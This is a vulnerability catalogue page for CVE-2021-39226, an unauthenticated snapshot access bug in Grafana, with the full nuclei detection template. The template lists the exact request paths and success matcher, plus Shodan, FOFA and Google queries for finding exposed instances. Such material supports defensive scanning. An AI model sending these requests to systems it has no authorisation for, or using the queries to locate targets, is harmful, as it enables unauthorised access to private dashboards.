Browse / CVEs / CVE-2021-39226
CVE-2021-39226· grafana / grafana· CWE-287
Grafana Snapshot - Authentication Bypass
Exploited in the wild. Listed by CISA on 2022-08-25; known to be used by ransomware.
Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
Impact
An attacker can bypass authentication and gain unauthorized access to Grafana Snapshot feature.
Fix
This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.
How to confirm it
Send: GET {{BaseURL}}/api/snapshots/:key ; GET {{BaseURL}}/dashboard/snapshot/:key
Positive when: contains "\"isSnapshot\":true" AND status 200Run it with nuclei: nuclei -id CVE-2021-39226 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-39226
info:
name: Grafana Snapshot - Authentication Bypass
author: Evan Rubinstein,matejsmycka
severity: high
description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
impact: |
An attacker can bypass authentication and gain unauthorized access to Grafana Snapshot feature.
remediation: 'This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.'
reference:
- https://github.com/advisories/GHSA-69j6-29vr-p3j9
- https://nvd.nist.gov/vuln/detail/CVE-2021-39226
- https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/
- http://www.openwall.com/lists/oss-security/2021/10/05/4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2021-39226
cwe-id: CWE-287
epss-score: 0.99933
epss-percentile: 0.9997
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- title:"Grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
- http.title:"grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve2021,cve,grafana,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/snapshots/:key"
- "{{BaseURL}}/dashboard/snapshot/:key"
matchers-condition: and
matchers:
- type: word
words:
- '"isSnapshot":true'
- type: status
status:
- 200References
- https://github.com/advisories/GHSA-69j6-29vr-p3j9
- https://nvd.nist.gov/vuln/detail/CVE-2021-39226
- https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/
- http://www.openwall.com/lists/oss-security/2021/10/05/4
Use this check only on systems you are authorised to test. Where the data comes from